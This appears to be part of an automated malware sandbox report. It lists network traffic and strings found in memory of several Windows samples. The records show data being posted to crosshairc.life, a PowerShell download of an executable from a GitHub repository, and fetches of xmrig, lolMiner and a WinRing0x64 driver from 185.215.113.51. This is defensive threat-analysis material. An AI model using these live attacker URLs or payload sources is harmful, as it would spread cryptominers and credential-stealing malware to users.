Source: global traffic	HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4tVhKNs2d98seKNJ7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2483Host: crosshairc.life
Source: global traffic	HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9k9qEm8HiXBWTL9uW8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570092Host: crosshairc.life
Source: global traffic	HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 99Host: crosshairc.life

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51

Source: global traffic	HTTP traffic detected: GET /deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /deripascod/coderoom/refs/heads/main/notyhkkadaw.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/YpJeSRBC HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveHost: 185.215.113.51
Source: global traffic	HTTP traffic detected: GET /WinRing0x64.sys HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xmrig.exe HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: crosshairc.life
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: unknown

HTTP traffic detected: POST /dAnjhw HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 61Host: crosshairc.life

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 13 Mar 2025 12:40:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-frame-options: DENYx-frame-options: DENYx-content-type-options: nosniffx-content-type-options: nosniffx-xss-protection: 1;mode=blockx-xss-protection: 1;mode=blockcache-control: public, max-age=1801CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 91fb99afdd0d15e6-IAH

Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51
Source: file_scaricato.exe, 0000000E.00000003.2090007117.00000000015E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/WatchDog.exe
Source: file_scaricato.exe, 0000000E.00000003.2090007117.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000000.1663387414.00000000004A2000.00000002.00000001.01000000.00000007.sdmp, ZTXEX2709J4S3M888Q2LJG.exe.14.dr	String found in binary or memory: http://185.215.113.51/WatchDog.exeEhttp://185.215.113.51/lolMiner.exe?http://185.215.113.51/xmrig.ex
Source: file_scaricato.exe, 0000000E.00000003.2090007117.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732558298.0000000001614000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090249387.0000000001611000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/WatchDog.exeEhttp://==
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/WatchDog.exeP
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/WinRing0x64.sys
Source: file_scaricato.exe, 0000000E.00000003.2090007117.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000000.1663387414.00000000004A2000.00000002.00000001.01000000.00000007.sdmp, ZTXEX2709J4S3M888Q2LJG.exe.14.dr	String found in binary or memory: http://185.215.113.51/WinRing0x64.sysChttps://pastebin.com/raw/YpJeSRBC
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/WinRing0x64.sysP
Source: file_scaricato.exe, 0000000E.00000003.2090007117.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732040983.00000000012FB000.00000004.00000010.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732348646.000000000156B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090317940.000000000156B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/conhost.exe
Source: file_scaricato.exe, 0000000E.00000002.3732558298.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/conhost.exe(
Source: file_scaricato.exe, 0000000E.00000002.3732558298.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/conhost.exeme
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/lolMiner.exe
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/xmrig.exe
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/xmrig.exeP
Source: file_scaricato.exe, 0000000E.00000002.3732427947.000000000158B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090210015.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51:80/conhost.exe
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51D
Source: Arly.exe1.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Arly.exe1.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Arly.exe1.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Arly.exe1.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: Arly.exe1.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002ACE000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.15.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002ACE000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.15.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002ACE000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.15.dr	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002ACE000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.15.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Arly.exe1.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Arly.exe1.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Arly.exe1.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: powershell.exe, 00000012.00000002.1691857285.0000000006487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp, Arly.exe1.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Arly.exe1.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Arly.exe1.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: Arly.exe1.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000029D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000029D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.comd
Source: powershell.exe, 00000012.00000002.1687752482.0000000005576000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000012.00000002.1687752482.0000000005576000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000029C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.1687752482.0000000005421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000012.00000002.1687752482.0000000005576000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000012.00000002.1687752482.0000000005576000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Arly.exe1.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000BFF000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000BFF000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU
Source: Arly.exe1.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file_scaricato.exe, 0000000E.00000003.1528212218.00000000043B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: powershell.exe, 00000012.00000002.1687752482.0000000005421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000012.00000002.1691857285.0000000006487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000012.00000002.1691857285.0000000006487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000012.00000002.1691857285.0000000006487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: file_scaricato.exe, 0000000E.00000002.3732427947.000000000158B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090210015.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/
Source: file_scaricato.exe, 0000000E.00000002.3732184735.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/d
Source: file_scaricato.exe, 0000000E.00000003.1501968338.0000000001611000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1502831286.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1527774265.0000000004392000.00000004.00000800.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1553522423.0000000004395000.00000004.00000800.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732427947.000000000158B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090210015.0000000001588000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1553381929.0000000004395000.00000004.00000800.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1527854977.0000000001616000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/dAnjhw
Source: file_scaricato.exe, 0000000E.00000003.1553423146.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1553543650.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/dAnjhw2
Source: file_scaricato.exe, 0000000E.00000002.3732558298.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/dAnjhwX
Source: file_scaricato.exe, 0000000E.00000003.1597210147.00000000015F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/dAnjhwl
Source: file_scaricato.exe, 0000000E.00000003.1501931879.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1501968338.0000000001611000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/dAnjhww
Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life/s
Source: file_scaricato.exe, 0000000E.00000003.1580290621.000000000161A000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1555248179.0000000001611000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1527854977.0000000001616000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life:443/dAnjhw
Source: file_scaricato.exe, 0000000E.00000002.3732427947.000000000158B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090210015.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshairc.life:443/dAnjhwY
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20-
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: powershell.exe, 00000012.00000002.1687752482.0000000005576000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Arly.exe1.exe	String found in binary or memory: https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 00000012.00000002.1691857285.0000000006487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000029C0000.00000004.00000800.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000029CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.0000000002A1B000.00000004.00000800.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, logs.uce.15.dr, logs.uce1.15.dr, logs.uce0.15.dr	String found in binary or memory: https://pastebin.com/raw/YpJeSRBC
Source: file_scaricato.exe, 0000000E.00000003.1529246814.00000000045B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file_scaricato.exe, 0000000E.00000003.1529246814.00000000045B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: Arly.exe1.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: file_scaricato.exe, 0000000E.00000003.1477773753.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: file_scaricato.exe, 0000000E.00000003.1529147339.00000000043B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file_scaricato.exe, 0000000E.00000003.1529147339.00000000043B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file_scaricato.exe, 0000000E.00000003.1529246814.00000000045B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file_scaricato.exe, 0000000E.00000003.1529246814.00000000045B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file_scaricato.exe, 0000000E.00000003.1529246814.00000000045B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file_scaricato.exe, 0000000E.00000003.1529536626.0000000001607000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 56147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56150
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56152
Source: unknown	Network traffic detected: HTTP traffic on port 56148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 56149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.6:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.6:56152 version: TLS 1.2

Source: C:\dmikhsv\file_scaricato.exe

Code function: 14_2_03631000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

14_2_03631000

Source: C:\dmikhsv\file_scaricato.exe

14_2_03631000

Source: C:\dmikhsv\file_scaricato.exe

14_2_03631000

System Summary

PE file has nameless sections

